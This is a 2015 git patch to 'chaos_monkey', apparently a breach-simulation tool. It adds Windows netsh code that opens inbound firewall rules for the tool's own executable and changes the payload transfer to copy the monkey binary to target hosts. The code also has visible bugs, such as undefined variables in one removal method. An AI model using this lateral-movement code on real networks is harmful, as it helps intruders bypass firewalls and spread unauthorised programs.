From a19f820ec87707f56c05f5bdba0789c7a257c3b4 Mon Sep 17 00:00:00 2001 From: Barak Hoffer Date: Thu, 8 Oct 2015 13:35:52 +0300 Subject: [PATCH] - windows firewall add rules support - exploit with our monkey if suitable --- chaos_monkey/exploit/tools.py | 29 ++++-- chaos_monkey/network/firewall.py | 172 +++++++++++++++++++++++++++++++ 2 files changed, 195 insertions(+), 6 deletions(-) create mode 100644 chaos_monkey/network/firewall.py diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 8ce044b56..a02f4bc08 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -10,6 +10,8 @@ import monkeyfs from difflib import get_close_matches from network import local_ips from transport import HTTPServer +from network.info import get_free_tcp_port +from network.firewall import app as firewall from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.smbconnection import SMBConnection, SMB_DIALECT @@ -352,10 +354,16 @@ class SmbTools(object): class HTTPTools(object): @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=4444): - if None == local_ip: + def create_transfer(host, src_path, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: local_ip = get_close_matches(host.ip_addr, local_ips())[0] + if not firewall.listen_allowed(): + return None, None + httpd = HTTPServer(local_ip, local_port, src_path) httpd.daemon = True httpd.start() @@ -365,6 +373,8 @@ class HTTPTools(object): def get_target_monkey(host): from control import ControlClient + import platform + import sys if host.monkey_exe: return host.monkey_exe @@ -372,9 +382,16 @@ def get_target_monkey(host): if not host.os.get('type'): return None - cc_download = ControlClient.download_monkey_exe(host) + monkey_path = ControlClient.download_monkey_exe(host) - if host.os.get('machine') and cc_download: - host.monkey_exe = cc_download + if host.os.get('machine') and monkey_path: + host.monkey_exe = monkey_path - return cc_download \ No newline at end of file + if not monkey_path: + if host.os.get('type') == platform.system().lower(): + # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe + if (not host.os.get('machine') and sys.maxsize < 2**32) or \ + host.os.get('machine','').lower() == platform.machine().lower(): + monkey_path = sys.executable + + return monkey_path \ No newline at end of file diff --git a/chaos_monkey/network/firewall.py b/chaos_monkey/network/firewall.py new file mode 100644 index 000000000..950fdea7c --- /dev/null +++ b/chaos_monkey/network/firewall.py @@ -0,0 +1,172 @@ +import subprocess +import sys +import platform + +class FirewallApp(object): + def is_enabled(self, **kwargs): + return False + + def add_firewall_rule(self, **kwargs): + return False + + def remove_firewall_rule(self, **kwargs): + return False + + def listen_allowed(self, **kwargs): + return True + + def __exit__(self): + self.close() + + def close(self): + return + +def _run_netsh_cmd(command, args): + cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"'%(key,value) for key,value in args.items()])), stdout=subprocess.PIPE) + return cmd.stdout.read().strip().lower().endswith('ok.') + +class WinAdvFirewall(FirewallApp): + def __init__(self): + self._rules = {} + + def is_enabled(self): + try: + cmd = subprocess.Popen('netsh advfirewall show currentprofile', stdout=subprocess.PIPE) + out = cmd.stdout.readlines() + + for l in out: + if l.startswith('State'): + state = l.split()[-1].strip() + + return state == "ON" + except: + return None + + def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs): + netsh_args = {'name': name, + 'dir' : dir, + 'action': action, + 'program' : program} + netsh_args.update(kwargs) + try: + if _run_netsh_cmd('advfirewall firewall add rule', netsh_args): + self._rules[name] = netsh_args + return True + else: + return False + except: + return None + + def remove_firewall_rule(self, name="Firewall", **kwargs): + netsh_args = {'name': name} + netsh_args.update(kwargs) + + try: + if _run_netsh_cmd('advfirewall firewall delete rule', netsh_args): + if self._rules.has_key(name): + del self._rules[name] + return True + else: + return False + except: + return None + + def listen_allowed(self, **kwargs): + if False == self.is_enabled(): + return True + + for rule in self._rules.values(): + if rule.get('program') == sys.executable and \ + 'in' == rule.get('dir') and \ + 'allow' == rule.get('action') and \ + 4 == len(rule.keys()): + return True + return False + + def close(self): + try: + for rule in self._rules.keys(): + _run_netsh_cmd('advfirewall firewall delete rule', {'name' : rule}) + except: + pass + + +class WinFirewall(FirewallApp): + def __init__(self): + self._rules = {} + + def is_enabled(self): + try: + cmd = subprocess.Popen('netsh firewall show state', stdout=subprocess.PIPE) + out = cmd.stdout.readlines() + + for l in out: + if l.startswith('Operational mode'): + state = l.split('=')[-1].strip() + elif l.startswith('The service has not been started.'): + return False + + return state == "Enable" + except: + return None + + def add_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable, **kwargs): + netsh_args = {'name': name, + 'mode' : mode, + 'program' : program} + netsh_args.update(kwargs) + + try: + if _run_netsh_cmd('firewall add', netsh_args): + self._rules[name] = netsh_args + return True + else: + return False + except: + return None + + def remove_firewall_rule(self, rule='allowedprogram', name="Firewall", **kwargs): + netsh_args = {'name': name, + 'mode' : mode, + 'program' : program} + netsh_args.update(kwargs) + try: + if _run_netsh_cmd('firewall delete', netsh_args): + if self._rules.has_key(name): + del self._rules[name] + return True + else: + return False + except: + return None + + def listen_allowed(self, **kwargs): + if False == self.is_enabled(): + return True + + for rule in self._rules.values(): + if rule.get('program') == sys.executable and \ + 'allowedprogram' == rule.get('rule') and \ + 'ENABLE' == rule.get('mode') and \ + 4 == len(rule.keys()): + return True + return False + + def close(self): + try: + for rule in self._rules.keys(): + _run_netsh_cmd('firewall delete', {'name' : rule}) + except: + pass + +if sys.platform == "win32": + try: + win_ver = int(platform.version().split('.')[0]) + except: + win_ver = 0 + if win_ver > 5: + app = WinAdvFirewall() + else: + app = WinFirewall() +else: + app = FirewallApp() \ No newline at end of file